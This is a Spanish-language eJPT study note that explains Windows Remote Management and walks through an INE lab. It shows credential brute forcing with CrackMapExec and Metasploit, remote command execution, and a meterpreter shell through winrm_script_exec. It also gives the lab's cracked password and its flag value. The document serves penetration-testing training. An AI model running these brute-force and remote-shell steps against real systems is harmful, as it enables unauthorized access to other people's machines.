> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/ataques-basados-en-sistema-host/windows/explotacion-de-vulnerabilidades-de-windows/explotacion-de-winrm.md).

# Explotación de WinRM

## 🧠 ¿Qué es WinRM?

**Windows Remote Management (WinRM)** es un protocolo de administración remota de Windows que permite el acceso y la gestión remota de sistemas Windows utilizando **HTTP/HTTPS**.

Microsoft implementó WinRM para facilitar la vida de los administradores de sistemas, ofreciendo una forma automatizada y remota de interactuar con múltiples equipos en una red.

***

## 🌐 ¿Para qué se usa WinRM?

* 📡 Acceso remoto e interacción con sistemas Windows en una red local.
* 🖥️ Ejecución remota de comandos.
* ⚙️ Configuración y administración de sistemas Windows de forma remota.

***

## 📦 Puertos utilizados por WinRM

* 🔓 **5985** → WinRM sobre HTTP
* 🔐 **5986** → WinRM sobre HTTPS

***

## 🔐 Seguridad y Control de Acceso

WinRM implementa varios mecanismos de autenticación para proteger las comunicaciones entre sistemas, como:

* Autenticación básica
* NTLM
* Kerberos (en entornos con dominio)

***

## 🧪 Explotación con herramientas

#### 1. **Enumeración y Fuerza Bruta con CrackMapExec (CME)**

Con `crackmapexec`, puedes identificar usuarios válidos y contraseñas, así como ejecutar comandos si las credenciales son correctas.

```bash
crackmapexec winrm <IP_objetivo> -u <usuarios.txt> -p <passwords.txt>
```

Una vez obtenidas las credenciales:

```bash
crackmapexec winrm <IP_objetivo> -u <usuario> -p <password> -x 'ipconfig'
```

***

#### 2. **Obtener una Shell con Evil-WinRM**

Una vez que tengas credenciales válidas, puedes usar la herramienta **evil-winrm** para obtener una shell remota interactiva:

```bash
evil-winrm -i <IP_objetivo> -u <usuario> -p <contraseña>
```

## 🧪Laborartorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/b0G4IHNSNpAK5A4t8Uk6" alt=""><figcaption></figcaption></figure>

***

**Paso 2:** Ejecute un escaneo de Nmap contra el objetivo.

**Dominio:**

```
nmap --top-ports 7000 demo.ine.local
```

<figure><img src="/files/ZrQHvyZ9ybiLphRPGROE" alt=""><figcaption></figcaption></figure>

***

**Paso 3:** Descubrimos que el servidor WinRM se ejecuta en el puerto 5985. Por defecto, el servicio WinRM usa este puerto para HTTP. Ejecutaremos el módulo winrm\_login de Metasploit para encontrar los usuarios válidos y sus contraseñas.

**Comandos:**

```bash
msfconsole -q
use auxiliary/scanner/winrm/winrm_login
set RHOSTS demo.ine.local
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set VERBOSE false
set PASSWORD anything
exploit
```

**Nota:** Esto tardará entre 2 y 3 minutos.

**Nota:** Configuramos la contraseña porque en la versión reciente del módulo "winrm\_login", esta opción es obligatoria a menos que se use la autenticación Kerberos. Metasploit seguirá usando el archivo USERPASS\_FILE.

<figure><img src="/files/FgNvpSkTXCchD6GxlmiO" alt=""><figcaption></figcaption></figure>

Hemos encontrado la contraseña válida del usuario administrador. Además, hemos conseguido abrir la sesión de comandos en segundo plano. Seguiremos explorando los demás módulos.

***

**Paso 4:** Verificar el método de autenticación compatible con WinRM mediante un módulo auxiliar.

Es muy importante saber esto antes de intentar conectarnos al servicio WinRM. Necesitamos usar un método de autenticación válido al conectarnos al servicio. Puede encontrar más información sobre la autenticación en el siguiente enlace: <https://docs.microsoft.com/en-us/windows/win32/winrm/authentication-for-remote-connections>

**Comandos:**

```
use auxiliary/scanner/winrm/winrm_auth_methods
set RHOSTS demo.ine.local
exploit
```

<figure><img src="/files/X6ezPMf8c424QN1j6EcW" alt=""><figcaption></figcaption></figure>

Target admite dos tipos de autenticación, es decir, básica y negociada.

***

**Paso 5:** Ejecute el comando en el servidor de destino utilizando el módulo winrm\_cmd.

**Comandos:**

```
use auxiliary/scanner/winrm/winrm_cmd
set RHOSTS demo.ine.local
set USERNAME administrator
set PASSWORD tinkerbell
set CMD whoami
exploit
```

<figure><img src="/files/zZ9vc1ohjnRAAC4HJ4g8" alt=""><figcaption></figcaption></figure>

***

**Paso 6:** Hemos ejecutado correctamente el comando "whoami" en el servidor remoto. Ahora, usaremos el módulo de exploits winrm\_script\_exec para obtener el shell de meterpreter.

**Comandos:**

```
use exploit/windows/winrm/winrm_script_exec
set RHOSTS demo.ine.local
set USERNAME administrator
set PASSWORD tinkerbell
set FORCE_VBS true
exploit
```

<figure><img src="/files/qON2ZGvYB6xGXnldlocB" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/bsZGTpmW8uCyx7f0RruB" alt=""><figcaption></figcaption></figure>

Hemos ganado la sesión de meterpreter.

***

**Paso 7:** Encuentra la bandera.

**Comandos:**

```
cd /
dir
cat flag.txt
```

<figure><img src="/files/PmJWoMfNdMngxgpY68uI" alt=""><figcaption></figcaption></figure>

Hemos descubierto la bandera.

Bandera: 3c716f95616eec677a7078f92657a230

***

#### Conclusión

En este laboratorio, aprendimos cómo explotar el servicio WinRM utilizando el marco Metasploit.
